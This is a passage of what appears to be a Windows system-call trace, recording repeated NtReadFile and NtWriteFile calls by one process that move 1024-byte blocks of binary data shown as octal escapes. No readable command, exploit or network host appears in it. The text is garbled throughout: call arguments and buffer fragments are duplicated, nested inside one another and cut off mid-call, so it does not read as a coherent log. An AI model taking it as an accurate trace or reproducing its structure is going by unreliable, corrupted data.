\216\23<\25\6\27\0)\32\7\34\31\36\27\0\15\243)9-g\267\252\272:L\274Z\276.\344\235\216\2240(\242X,w'\5\202\326\327\324\260sw\247\21<\22\263)\335\2676`\372>\345\262u?o\363X\35\220\37E\26\260,\344*\247\246\213\350e\214\255\203.\4\330\6\3160\12\3055\264\376a1\308\3155\337O\26\226\320M\310K\230\320a\1\227;\211(\2474\322\16\322\315\316\2022\304\260\2627\300:ee\211\270\376?\261v\242|\20 \336-#+%)'')%+#--\264q0s35\33r6-I:\235}<\217\376\33-\35\35\265\234\340"\344e%\3646)\35\352\12q\.\32\240Z\3063E5\7\263\0\11\220\307\331\17\250\350"|X\37\257e \267#;\265c&", ) \344e%\3646)\35\352\12q\.\32\240Z\3063E5\7\263\0\11\220\307\331\17\250\350 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "$\10<\21\15}(R.I, @\21[\27[\25\266\33)\207\30\222\36\340\34\325\22\331\7\304\5\311\13<\163\271\11\264\317\20\361)\355+\0\16\27\260\21\377T,\1\37*\4\32\26\30o\6y\43z\3c\1r1r\223\211<\321P\13c\3737Je2\336\27\320(\356*\354,\352.\352 \275\256\17<\357&}\330\252\7\362<\277\212\3640\11\37139\325\342\357G%\333\26\370\153j\202L4\32O\27\21**#.\20\14\264q>\333\17\68\231\2:\212\7\342\53'5!\36V\34H\36\257\30\364\32\247\215\24\333\26;\23\27O\274;\355S-\325\3269\314;:8<\15:\17\23,\21.\17 \216\23<\25\6\27\0)\32\7\34\31\36\27\0\15\243)9-g\267\252\272:L\274Z\276.\344\235\216\2240(\242X,w'\5\202\326\327\324\260sw\247\21<\22\263)\335\2676`\372>\345\262u?o\363X\35\220\37E\26\260,\344*\247\246\213\350e\214\255\203.\4\330\6\3160\12\3055\264\376a1\308\3155\337O\26\226\320M\310K\230\320a\1\227;\211(\2474\322\16\322\315\316\2022\304\260\2627\300:ee\211\270\376?\261v\242|\20 \336-#+%)'')%+#--\264q0s35\33r6-I:\235}<\217\376\33-\35\35\265\234\340"\344e%\3646)\35\352\12q\.\32\240Z\3063E5\7\263\0\11\220\307\331\17\250\350"|X\37\257e \267#;\265c&", ) , ) == 0x0
 01199  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "|\321\32({\354\314\307\12@{\217\37M'c\13\246\173R\3745\344\316\206\326*\25\352.U\265\300,2\221\317o\307p\216\30\234n/pf6i\231\21\333\231\300\376\300LMsmY\225\300\345\204\25\236c\323\345@\352\17\264\301T\25\222\351\4g\235\234\215\247\230zg\275\240\237-\230\232\333\331\322\275\265o\243\244\26\347\361\342\17;\373\250\311(\36\356\302\270D\233\\207\\236\217h\233\276_QT\365\263#I\345\230{\7\177\2246\1{\256\32\215W|03\357\260\5\247r\231\372.\204f*1\35\257\265#\314\222&/\324\255R0\250u\335\366f\202\177\202%\306\217\322G\303\3156\2508\3130fZ\266\330\25\214\271\273\216\247\375\206\211\2165\213/<3\340,\302B6\201\33)6\266\301\232\257\222F\323VB}\367\375\374j\324Ja\321\315>\262\27\254\357\272&3\264\341\215m\244\3178S\360>\306\326n\316\327\373"D\367\31\274\326l\33\257\355K\352<\236@\316\311\246\354\3336\365\300\21\0VB5\235}@\221\233\247\227$A\302-d\307\374K\202\355\351r^\343\302\312\22@\23\322\367\315\365\301\277\307;2\34\275\252J<\361G)\273:&iH\344\255\343\243\205Q\330I\244w\216L\340\275$u\316\232\203\226]E\334\217r\322\315\300\20q\374h\307{\255\253\11l\365\263\345U\321\320:I\233\246\322 \272\261x\247h\15{\271cy\21\271\301\3111\2067L;r\373\367\233\313.\253J,W\322<#\10\360,C\300\317\376\212\305\264m\356Q;\217P\10M2\367e\23\226\5\375\342\251Q\241\5\24\11\3450\17pAU]\325\2311\235\334A\226;ws{\372;\257%D\307\200\372\231B\377\201\364\2658,v\305\300\364d=\32\363S", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) D\367\31\274\326l\33\257\355K\352<\236@\316\311\246\354\3336\365\300\21\0VB5\235}@\221\233\247\227$A\302-d\307\374K\202\355\351r^\343\302\312\22@\23\322\367\315\365\301\277\307;2\34\275\252J<\361G)\273:&iH\344\255\343\243\205Q\330I\244w\216L\340\275$u\316\232\203\226]E\334\217r\322\315\300\20q\374h\307{\255\253\11l\365\263\345U\321\320:I\233\246\322 \272\261x\247h\15{\271cy\21\271\301\3111\2067L;r\373\367\233\313.\253J,W\322<#\10\360,C\300\317\376\212\305\264m\356Q;\217P\10M2\367e\23\226\5\375\342\251Q\241\5\24\11\3450\17pAU]\325\2311\235\334A\226;ws{\372;\257%D\307\200\372\231B\377\201\364\2658,v\305\300\364d=\32\363S", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01200  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\22^0.20~D6'\3099cM=\37?\30^{o\37\2!!WU%\5O(*\250Z,\11\336:A1\27;46\250F8\37:8\220\34O?<\357\271\22\222\234#\200!\20\322\367n\245+\256)0|\245\242\213113dd\311"\264\3458:4\16\345\201\31D\224B;\14""\3%r\2547\242\343\20=,X2\253\371E&\271d7774o;N2\276\376jR,\24\37\37#h/\263oW\246 \230diDA].NBTwKW]W3V^\32|wxlq^\24Q--\23X\242#k\335\0Ox#\312\23\254\231\257/\260^yr4\207\27\368\312\\30!\326\244\13|\162\301\366\202\3241\336#?I8\364\377\355\21\27\270 \34\366\341\260'r!\6=\4\204\20\301\15\313,\26\325\233DW\242"l\364-\365\263\355\312\23~\15]:MN\365\223\16\24\354\246\313\240\365:\35\353\.K/\247=\230\231-\200\232x\335_\271>Is=]2\3654nh\36?\1\344$*dv`&&\311\202\14YIIG\217\323q\357\363\327U\26\25\35J\30\372\370\337>P\305j\335B>!\240\340\242"v\345\312W/\253I*#f{da\35\323\2155\26JP\31\361\333\2443\310\337\37\235\10\2369\253 \241\333$\332S<~x\302e\334\216\252lR5\315&\\242\361x\266\2\373I8\237g\327\36\2]\323\3545sp%D6F\213\22\305\242\255\215\7Z;nln\2141v<-S23V.\3745O", ) \264\3458:4\16\345\201\31D\224B;\14" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\22^0.20~D6'\3099cM=\37?\30^{o\37\2!!WU%\5O(*\250Z,\11\336:A1\27;46\250F8\37:8\220\34O?<\357\271\22\222\234#\200!\20\322\367n\245+\256)0|\245\242\213113dd\311"\264\3458:4\16\345\201\31D\224B;\14""\3%r\2547\242\343\20=,X2\253\371E&\271d7774o;N2\276\376jR,\24\37\37#h/\263oW\246 \230diDA].NBTwKW]W3V^\32|wxlq^\24Q--\23X\242#k\335\0Ox#\312\23\254\231\257/\260^yr4\207\27\368\312\\30!\326\244\13|\162\301\366\202\3241\336#?I8\364\377\355\21\27\270 \34\366\341\260'r!\6=\4\204\20\301\15\313,\26\325\233DW\242"l\364-\365\263\355\312\23~\15]:MN\365\223\16\24\354\246\313\240\365:\35\353\.K/\247=\230\231-\200\232x\335_\271>Is=]2\3654nh\36?\1\344$*dv`&&\311\202\14YIIG\217\323q\357\363\327U\26\25\35J\30\372\370\337>P\305j\335B>!\240\340\242"v\345\312W/\253I*#f{da\35\323\2155\26JP\31\361\333\2443\310\337\37\235\10\2369\253 \241\333$\332S<~x\302e\334\216\252lR5\315&\\242\361x\266\2\373I8\237g\327\36\2]\323\3545sp%D6F\213\22\305\242\255\215\7Z;nln\2141v<-S23V.\3745O", ) l\364-\365\263\355\312\23~\15]:MN\365\223\16\24\354\246\313\240\365:\35\353\.K/\247=\230\231-\200\232x\335_\271>Is=]2\3654nh\36?\1\344$*dv`&&\311\202\14YIIG\217\323q\357\363\327U\26\25\35J\30\372\370\337>P\305j\335B>!\240\340\242 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\22^0.20~D6'\3099cM=\37?\30^{o\37\2!!WU%\5O(*\250Z,\11\336:A1\27;46\250F8\37:8\220\34O?<\357\271\22\222\234#\200!\20\322\367n\245+\256)0|\245\242\213113dd\311"\264\3458:4\16\345\201\31D\224B;\14""\3%r\2547\242\343\20=,X2\253\371E&\271d7774o;N2\276\376jR,\24\37\37#h/\263oW\246 \230diDA].NBTwKW]W3V^\32|wxlq^\24Q--\23X\242#k\335\0Ox#\312\23\254\231\257/\260^yr4\207\27\368\312\\30!\326\244\13|\162\301\366\202\3241\336#?I8\364\377\355\21\27\270 \34\366\341\260'r!\6=\4\204\20\301\15\313,\26\325\233DW\242"l\364-\365\263\355\312\23~\15]:MN\365\223\16\24\354\246\313\240\365:\35\353\.K/\247=\230\231-\200\232x\335_\271>Is=]2\3654nh\36?\1\344$*dv`&&\311\202\14YIIG\217\323q\357\363\327U\26\25\35J\30\372\370\337>P\305j\335B>!\240\340\242"v\345\312W/\253I*#f{da\35\323\2155\26JP\31\361\333\2443\310\337\37\235\10\2369\253 \241\333$\332S<~x\302e\334\216\252lR5\315&\\242\361x\266\2\373I8\237g\327\36\2]\323\3545sp%D6F\213\22\305\242\255\215\7Z;nln\2141v<-S23V.\3745O", ) , ) == 0x0
 01201  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\322\304\35\304\356\245\363\2037\301\346\370\307M[\340=u\332\217Po\13\236_\236\207\370z\366\354\25\26\3103.Ca2O\17R\223\326&\224\220\2469\177\23\377i\6\21c,*\262!\274\260\324\341+j\303\26/\347\12\233Kf\33W%\265\360\20\324\314\266\212\357\17,\242L\330\356\204Y\364\2207\226a\355\345\31"\22\342\337\274D\246G\273\34gX\241\275o\317\375\346\264\235\1\355\252\3044\204\374\203\314j`\202r;2\351`\272\305\334n\5\214\307\14\363\26\327\200\232\371s\363\212\353i\20\320\350/\303\17\343\376!\331\362m\355_\344Hi%\21\302\306&\177\4\232\314\212X\24\331\225\332\26\232\366\313\307I:\267\21\363\364P\345\36l1\267\346\345\7p\247\227\301\366\371\222\231e\263P\26k\372\370\265\206j_v\361\264\207OUa\325!^Wi\202\253\232\360G\304O`.\20\303\357u\230*\222\271\302\311[\36\323\340n\261\224\20\272\232\374)\362C\203\3755\253\260\330\274\313\353\11\373z\273k\215\337\251\350[\341\274\352\321A\367v@\32\222C\237c\256\33\211\33\22~K<5\27yVR\3558Ov\222\314\3\365\1]\1\326\346\221\301\212\366\365\7\31\2\216n\310\264\312\3470q\337!\373_9\25\353FoL\203\272\300\271\223\362X\356\343\360-m\377"\340\332}-0\22\355t\301\307\224J\364K\32\24\275k\3775\265f\226\16\226\334\13S\331a\2055\32\241\240V\323s\317\315\30\26d\374\272P\215\367\362U \223CX\337L\342\15\377:w\323\222\35U\226\312\200z\247a\307eI\314\203\4\270\25\272\4(\343\245\226\2*A+\37\33\254\326T\243\3\307\203\368\327l", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \22\342\337\274D\246G\273\34gX\241\275o\317\375\346\264\235\1\355\252\3044\204\374\203\314j`\202r;2\351`\272\305\334n\5\214\307\14\363\26\327\200\232\371s\363\212\353i\20\320\350/\303\17\343\376!\331\362m\355_\344Hi%\21\302\306&\177\4\232\314\212X\24\331\225\332\26\232\366\313\307I:\267\21\363\364P\345\36l1\267\346\345\7p\247\227\301\366\371\222\231e\263P\26k\372\370\265\206j_v\361\264\207OUa\325!^Wi\202\253\232\360G\304O`.\20\303\357u\230*\222\271\302\311[\36\323\340n\261\224\20\272\232\374)\362C\203\3755\253\260\330\274\313\353\11\373z\273k\215\337\251\350[\341\274\352\321A\367v@\32\222C\237c\256\33\211\33\22~K<5\27yVR\3558Ov\222\314\3\365\1]\1\326\346\221\301\212\366\365\7\31\2\216n\310\264\312\3470q\337!\373_9\25\353FoL\203\272\300\271\223\362X\356\343\360-m\377367%\3\353\34\255\300\235\217)\234\30@\2\363v\210\303\201\13\36\331S (92, 0, 0, 0, "\322\304\35\304\356\245\363\2037\301\346\370\307M[\340=u\332\217Po\13\236_\236\207\370z\366\354\25\26\3103.Ca2O\17R\223\326&\224\220\2469\177\23\377i\6\21c,*\262!\274\260\324\341+j\303\26/\347\12\233Kf\33W%\265\360\20\324\314\266\212\357\17,\242L\330\356\204Y\364\2207\226a\355\345\31"\22\342\337\274D\246G\273\34gX\241\275o\317\375\346\264\235\1\355\252\3044\204\374\203\314j`\202r;2\351`\272\305\334n\5\214\307\14\363\26\327\200\232\371s\363\212\353i\20\320\350/\303\17\343\376!\331\362m\355_\344Hi%\21\302\306&\177\4\232\314\212X\24\331\225\332\26\232\366\313\307I:\267\21\363\364P\345\36l1\267\346\345\7p\247\227\301\366\371\222\231e\263P\26k\372\370\265\206j_v\361\264\207OUa\325!^Wi\202\253\232\360G\304O`.\20\303\357u\230*\222\271\302\311[\36\323\340n\261\224\20\272\232\374)\362C\203\3755\253\260\330\274\313\353\11\373z\273k\215\337\251\350[\341\274\352\321A\367v@\32\222C\237c\256\33\211\33\22~K<5\27yVR\3558Ov\222\314\3\365\1]\1\326\346\221\301\212\366\365\7\31\2\216n\310\264\312\3470q\337!\373_9\25\353FoL\203\272\300\271\223\362X\356\343\360-m\377"\340\332}-0\22\355t\301\307\224J\364K\32\24\275k\3775\265f\226\16\226\334\13S\331a\2055\32\241\240V\323s\317\315\30\26d\374\272P\215\367\362U \223CX\337L\342\15\377:w\323\222\35U\226\312\200z\247a\307eI\314\203\4\270\25\272\4(\343\245\226\2*A+\37\33\254\326T\243\3\307\203\368\327l", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01202  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4C&4/\36\231;#$\251\366^6}8\354#%.p>\351\273\326\332\254n7\252\243\14Y:{\337!"\313\25!.\317\`.\2279\277&?\65\252\40\271\22\307-\11>>\35716\6\37\25\3651J\31%\316\21 =\20#{\31.\241\4y\12?P~*\363\0u\276?l\35\13\313\10\1\266{?\366-^'\20\361\26\246\344P#\231\260?*( ;\14A\273E2R4s"\272v=\315\343m=\267y\27\333[\12\37$!\312\305\320\331\331q\300\311%+)-A,y \177\270p\212\177n\12\314;C:\206\277$B\37\335\37(\265\35\270\33\344\31\375\330>(;\374"v/3"\2\305\265!\257\10\222\12\367\14\333>\17\25-1/Z\21X"\22\266\24\215\26\354\30\10*L\177w\35\260\3\233\1\2035\4\337\12\317\10H\4\225>\78%"'\352]\6{\3444\336[\212\3535\352==\357\314 \262\365\261\14=j\23\34y\2^j\221\372~[$\376\11\336\311(b\33\356%%\370\337\370!\340\37\342*,|\21/\267hNwQo\210xl\37&tB-$#\244\218\7IDA\215\11\36\0p2ww\6\17\3\1{{;\11\4\177}\373\237\342\13;\300+\242@\37%\255s\14\23\241o\10\24n\256\321\31620e\254\13l\270\330\33=\30^?I~\37N\37q\254\266\7|!&% A\376\27\255\32\321:\300\352\263s&\361.\272\274\35r\373>}1\273\33\234\35\35&K-Vt$\34M#\{\247h$5~\307\3421`\300\25", ) \313\25!.\317\`.\2279\277&?\65\252\40\271\22\307-\11>>\35716\6\37\25\3651J\31%\316\21 =\20#{\31.\241\4y\12?P~*\363\0u\276?l\35\13\313\10\1\266{?\366-^'\20\361\26\246\344P#\231\260?*( ;\14A\273E2R4s (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4C&4/\36\231;#$\251\366^6}8\354#%.p>\351\273\326\332\254n7\252\243\14Y:{\337!"\313\25!.\317\`.\2279\277&?\65\252\40\271\22\307-\11>>\35716\6\37\25\3651J\31%\316\21 =\20#{\31.\241\4y\12?P~*\363\0u\276?l\35\13\313\10\1\266{?\366-^'\20\361\26\246\344P#\231\260?*( ;\14A\273E2R4s"\272v=\315\343m=\267y\27\333[\12\37$!\312\305\320\331\331q\300\311%+)-A,y \177\270p\212\177n\12\314;C:\206\277$B\37\335\37(\265\35\270\33\344\31\375\330>(;\374"v/3"\2\305\265!\257\10\222\12\367\14\333>\17\25-1/Z\21X"\22\266\24\215\26\354\30\10*L\177w\35\260\3\233\1\2035\4\337\12\317\10H\4\225>\78%"'\352]\6{\3444\336[\212\3535\352==\357\314 \262\365\261\14=j\23\34y\2^j\221\372~[$\376\11\336\311(b\33\356%%\370\337\370!\340\37\342*,|\21/\267hNwQo\210xl\37&tB-$#\244\218\7IDA\215\11\36\0p2ww\6\17\3\1{{;\11\4\177}\373\237\342\13;\300+\242@\37%\255s\14\23\241o\10\24n\256\321\31620e\254\13l\270\330\33=\30^?I~\37N\37q\254\266\7|!&% A\376\27\255\32\321:\300\352\263s&\361.\272\274\35r\373>}1\273\33\234\35\35&K-Vt$\34M#\{\247h$5~\307\3421`\300\25", ) v/3 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4C&4/\36\231;#$\251\366^6}8\354#%.p>\351\273\326\332\254n7\252\243\14Y:{\337!"\313\25!.\317\`.\2279\277&?\65\252\40\271\22\307-\11>>\35716\6\37\25\3651J\31%\316\21 =\20#{\31.\241\4y\12?P~*\363\0u\276?l\35\13\313\10\1\266{?\366-^'\20\361\26\246\344P#\231\260?*( ;\14A\273E2R4s"\272v=\315\343m=\267y\27\333[\12\37$!\312\305\320\331\331q\300\311%+)-A,y \177\270p\212\177n\12\314;C:\206\277$B\37\335\37(\265\35\270\33\344\31\375\330>(;\374"v/3"\2\305\265!\257\10\222\12\367\14\333>\17\25-1/Z\21X"\22\266\24\215\26\354\30\10*L\177w\35\260\3\233\1\2035\4\337\12\317\10H\4\225>\78%"'\352]\6{\3444\336[\212\3535\352==\357\314 \262\365\261\14=j\23\34y\2^j\221\372~[$\376\11\336\311(b\33\356%%\370\337\370!\340\37\342*,|\21/\267hNwQo\210xl\37&tB-$#\244\218\7IDA\215\11\36\0p2ww\6\17\3\1{{;\11\4\177}\373\237\342\13;\300+\242@\37%\255s\14\23\241o\10\24n\256\321\31620e\254\13l\270\330\33=\30^?I~\37N\37q\254\266\7|!&% A\376\27\255\32\321:\300\352\263s&\361.\272\274\35r\373>}1\273\33\234\35\35&K-Vt$\34M#\{\247h$5~\307\3421`\300\25", ) \22\266\24\215\26\354\30\10*L\177w\35\260\3\233\1\2035\4\337\12\317\10H\4\225>\78% (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4C&4/\36\231;#$\251\366^6}8\354#%.p>\351\273\326\332\254n7\252\243\14Y:{\337!"\313\25!.\317\`.\2279\277&?\65\252\40\271\22\307-\11>>\35716\6\37\25\3651J\31%\316\21 =\20#{\31.\241\4y\12?P~*\363\0u\276?l\35\13\313\10\1\266{?\366-^'\20\361\26\246\344P#\231\260?*( ;\14A\273E2R4s"\272v=\315\343m=\267y\27\333[\12\37$!\312\305\320\331\331q\300\311%+)-A,y \177\270p\212\177n\12\314;C:\206\277$B\37\335\37(\265\35\270\33\344\31\375\330>(;\374"v/3"\2\305\265!\257\10\222\12\367\14\333>\17\25-1/Z\21X"\22\266\24\215\26\354\30\10*L\177w\35\260\3\233\1\2035\4\337\12\317\10H\4\225>\78%"'\352]\6{\3444\336[\212\3535\352==\357\314 \262\365\261\14=j\23\34y\2^j\221\372~[$\376\11\336\311(b\33\356%%\370\337\370!\340\37\342*,|\21/\267hNwQo\210xl\37&tB-$#\244\218\7IDA\215\11\36\0p2ww\6\17\3\1{{;\11\4\177}\373\237\342\13;\300+\242@\37%\255s\14\23\241o\10\24n\256\321\31620e\254\13l\270\330\33=\30^?I~\37N\37q\254\266\7|!&% A\376\27\255\32\321:\300\352\263s&\361.\272\274\35r\373>}1\273\33\234\35\35&K-Vt$\34M#\{\247h$5~\307\3421`\300\25", ) , ) == 0x0
 01203  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\320\221)\2448\207\372\334@v{\22\343Qr\5\366\240\7\23:f\3V\37\201\341\357\321\3213\246\357\151@o\3\202N\3614\356\21\262\365n\10\316d_J\376\326Ex\221\376t\274\36\10\7Xs\325I\211\222\327EP%\373DJh" \257d\36O\200m\243\235v\324\36\352\242N\347\200\253\262\355\202\347m\267.W]\226\211\223\363/\277\375%|\303\345\252\366\357\277F4@\277\351\263a^\214l\322G\200X@8\234, \217U>\20;\265a\3618\332I\277#\240\262v\272\344\372\305\301\270\250bG\33\252\364C\364+\220b\314?`\16\276y\273\244\2544\275\372\255{\277\5J\345m\254UM9\377d\371Vl\303z\310z\345\304\22\353\3778\247L\273\356{\274QzfdHLL\357\330\2379\306\207\20\331L-\260\\273X\273w\232\233\242\362$X|\216\316\370\346\33\206\1\4\300\370\341\245\202\36\245\16%O\365\344\31Q\2524\37\317dd\274\10\204\323\214n\33\364\207\221\235{\12\15\316\231s0\274\15\236fg\212\362\12\255VZ\2g\3259p\251\24\31\372\212Z\313ot\15\346D\345!Q\32573=9t\304\6&\21\360{\272\211\33uQNtH\244&\236\203Af\31r'\314\306\13\255\352\211\233\0\227\\47\330\250P\330~JuzX4\224\30St\347\246*7\335\14\376\250\227u\3676\1\351\\331\263\16\335\207A\201jr\36Ca\347L\201j\241a>\32\302\376xd\7\346.\205\356s\26\3\361Y\277\263e\221\307\221'\243\314\216\177\26N\202~\216z%\301\360FS\247gp\236\312\374H9_\224\303\230\265y\256\351\366m\310\252DF\337\365\31\352$\352(\236\0A\371\264\252p'\224\211\2132\302\21\333\4\225\4\274\24o\212", 1024, 0x0, 0, ... {status=0x0, info=1024}, )  \257d\36O\200m\243\235v\324\36\352\242N\347\200\253\262\355\202\347m\267.W]\226\211\223\363/\277\375%|\303\345\252\366\357\277F4@\277\351\263a^\214l\322G\200X@8\234, \217U>\20;\265a\3618\332I\277#\240\262v\272\344\372\305\301\270\250bG\33\252\364C\364+\220b\314?`\16\276y\273\244\2544\275\372\255{\277\5J\345m\254UM9\377d\371Vl\303z\310z\345\304\22\353\3778\247L\273\356{\274QzfdHLL\357\330\2379\306\207\20\331L-\260\\273X\273w\232\233\242\362$X|\216\316\370\346\33\206\1\4\300\370\341\245\202\36\245\16%O\365\344\31Q\2524\37\317dd\274\10\204\323\214n\33\364\207\221\235{\12\15\316\231s0\274\15\236fg\212\362\12\255VZ\2g\3259p\251\24\31\372\212Z\313ot\15\346D\345!Q\32573=9t\304\6&\21\360{\272\211\33uQNtH\244&\236\203Af\31r'\314\306\13\255\352\211\233\0\227\\47\330\250P\330~JuzX4\224\30St\347\246*7\335\14\376\250\227u\3676\1\351\\331\263\16\335\207A\201jr\36Ca\347L\201j\241a>\32\302\376xd\7\346.\205\356s\26\3\361Y\277\263e\221\307\221'\243\314\216\177\26N\202~\216z%\301\360FS\247gp\236\312\374H9_\224\303\230\265y\256\351\366m\310\252DF\337\365\31\352$\352(\236\0A\371\264\252p'\224\211\2132\302\21\333\4\225\4\274\24o\212", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01204  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\10\376\16\347?(9)\370+\23\24\326#\21\15\20a\36I\34\12,\323\6\267\27W\25\266\23\333\226\26nR\255\14l-\357\23\322-\35\225\256PD\250\366\340PA\2\110\250\3501\235\12*\342\20;\315\266&\205\35i\322\225w\375,\374\35o\337\30j\271\233\7\326\17u*g>\353\213?\250\305\25O\27a\213\231A\24p5\2\2739O\20\326#\274\344\264\34k:\302">\313'>\245 j$\212\4z\224\351]q3|z\264{^\17\3762\306\330\369\177*\333\27\3\334\30\301a\7s\235\3102\273\311I\177\302z\206O+s0\222t5\240q6\262l}:Cz?K\\35tY\36~\264e"wb'o\351&\2\10\217L\321_).2,4*6(8&:$<">\300\4\34\2\36\0 >"<$:&8].\302\255\314.>\3045\331j\237\276\272\230\265:8\331re\276\337\224\335\36\34\342)""\373\221)'\327&*$,". 0>2<4:688&5;3=1?\24\34\21\36Iw\252\12\332\235\227:\25\30)\30g\36y\34s\2U2\1L\7\242\5\244\13\236;\16\221\14\377)\300/\372\37\22\315\20#%\26:\24(\15\31\7\37m\35s\31B\0\270\6\242\4\244\12:\237\17\205\15\353(\364.\36\33\24-\267,E4\27\330\265\36\303\266\3569O\203\254S7e\3354\261\108R\351j=\325\24\366I\36\11*\32pru|\33?\16=\27\2\353\24-#"\356\201D\164k\21j\3275\231\202x~\322\373>X^N\223@!r\312\331%\204'\254\343", ) >\313'>\245 j$\212\4z\224\351]q3|z\264{^\17\3762\306\330\369\177*\333\27\3\334\30\301a\7s\235\3102\273\311I\177\302z\206O+s0\222t5\240q6\262l}:Cz?K\\35tY\36~\264e (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\10\376\16\347?(9)\370+\23\24\326#\21\15\20a\36I\34\12,\323\6\267\27W\25\266\23\333\226\26nR\255\14l-\357\23\322-\35\225\256PD\250\366\340PA\2\110\250\3501\235\12*\342\20;\315\266&\205\35i\322\225w\375,\374\35o\337\30j\271\233\7\326\17u*g>\353\213?\250\305\25O\27a\213\231A\24p5\2\2739O\20\326#\274\344\264\34k:\302">\313'>\245 j$\212\4z\224\351]q3|z\264{^\17\3762\306\330\369\177*\333\27\3\334\30\301a\7s\235\3102\273\311I\177\302z\206O+s0\222t5\240q6\262l}:Cz?K\\35tY\36~\264e"wb'o\351&\2\10\217L\321_).2,4*6(8&:$<">\300\4\34\2\36\0 >"<$:&8].\302\255\314.>\3045\331j\237\276\272\230\265:8\331re\276\337\224\335\36\34\342)""\373\221)'\327&*$,". 0>2<4:688&5;3=1?\24\34\21\36Iw\252\12\332\235\227:\25\30)\30g\36y\34s\2U2\1L\7\242\5\244\13\236;\16\221\14\377)\300/\372\37\22\315\20#%\26:\24(\15\31\7\37m\35s\31B\0\270\6\242\4\244\12:\237\17\205\15\353(\364.\36\33\24-\267,E4\27\330\265\36\303\266\3569O\203\254S7e\3354\261\108R\351j=\325\24\366I\36\11*\32pru|\33?\16=\27\2\353\24-#"\356\201D\164k\21j\3275\231\202x~\322\373>X^N\223@!r\312\331%\204'\254\343", ) >\300\4\34\2\36\0 > (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\10\376\16\347?(9)\370+\23\24\326#\21\15\20a\36I\34\12,\323\6\267\27W\25\266\23\333\226\26nR\255\14l-\357\23\322-\35\225\256PD\250\366\340PA\2\110\250\3501\235\12*\342\20;\315\266&\205\35i\322\225w\375,\374\35o\337\30j\271\233\7\326\17u*g>\353\213?\250\305\25O\27a\213\231A\24p5\2\2739O\20\326#\274\344\264\34k:\302">\313'>\245 j$\212\4z\224\351]q3|z\264{^\17\3762\306\330\369\177*\333\27\3\334\30\301a\7s\235\3102\273\311I\177\302z\206O+s0\222t5\240q6\262l}:Cz?K\\35tY\36~\264e"wb'o\351&\2\10\217L\321_).2,4*6(8&:$<">\300\4\34\2\36\0 >"<$:&8].\302\255\314.>\3045\331j\237\276\272\230\265:8\331re\276\337\224\335\36\34\342)""\373\221)'\327&*$,". 0>2<4:688&5;3=1?\24\34\21\36Iw\252\12\332\235\227:\25\30)\30g\36y\34s\2U2\1L\7\242\5\244\13\236;\16\221\14\377)\300/\372\37\22\315\20#%\26:\24(\15\31\7\37m\35s\31B\0\270\6\242\4\244\12:\237\17\205\15\353(\364.\36\33\24-\267,E4\27\330\265\36\303\266\3569O\203\254S7e\3354\261\108R\351j=\325\24\366I\36\11*\32pru|\33?\16=\27\2\353\24-#"\356\201D\164k\21j\3275\231\202x~\322\373>X^N\223@!r\312\331%\204'\254\343", )  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\10\376\16\347?(9)\370+\23\24\326#\21\15\20a\36I\34\12,\323\6\267\27W\25\266\23\333\226\26nR\255\14l-\357\23\322-\35\225\256PD\250\366\340PA\2\110\250\3501\235\12*\342\20;\315\266&\205\35i\322\225w\375,\374\35o\337\30j\271\233\7\326\17u*g>\353\213?\250\305\25O\27a\213\231A\24p5\2\2739O\20\326#\274\344\264\34k:\302">\313'>\245 j$\212\4z\224\351]q3|z\264{^\17\3762\306\330\369\177*\333\27\3\334\30\301a\7s\235\3102\273\311I\177\302z\206O+s0\222t5\240q6\262l}:Cz?K\\35tY\36~\264e"wb'o\351&\2\10\217L\321_).2,4*6(8&:$<">\300\4\34\2\36\0 >"<$:&8].\302\255\314.>\3045\331j\237\276\272\230\265:8\331re\276\337\224\335\36\34\342)""\373\221)'\327&*$,". 0>2<4:688&5;3=1?\24\34\21\36Iw\252\12\332\235\227:\25\30)\30g\36y\34s\2U2\1L\7\242\5\244\13\236;\16\221\14\377)\300/\372\37\22\315\20#%\26:\24(\15\31\7\37m\35s\31B\0\270\6\242\4\244\12:\237\17\205\15\353(\364.\36\33\24-\267,E4\27\330\265\36\303\266\3569O\203\254S7e\3354\261\108R\351j=\325\24\366I\36\11*\32pru|\33?\16=\27\2\353\24-#"\356\201D\164k\21j\3275\231\202x~\322\373>X^N\223@!r\312\331%\204'\254\343", ) . 0>2<4:688&5;3=1?\24\34\21\36Iw\252\12\332\235\227:\25\30)\30g\36y\34s\2U2\1L\7\242\5\244\13\236;\16\221\14\377)\300/\372\37\22\315\20#%\26:\24(\15\31\7\37m\35s\31B\0\270\6\242\4\244\12:\237\17\205\15\353(\364.\36\33\24-\267,E4\27\330\265\36\303\266\3569O\203\254S7e\3354\261\108R\351j=17%\30|\36@A#q\314\313\17UZ!z\333'\31\316-X\305P\4d0f\337Z9?\354>\325\24\366I\36\11*\32pru|\33?\16=\27\2\353\24-# (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 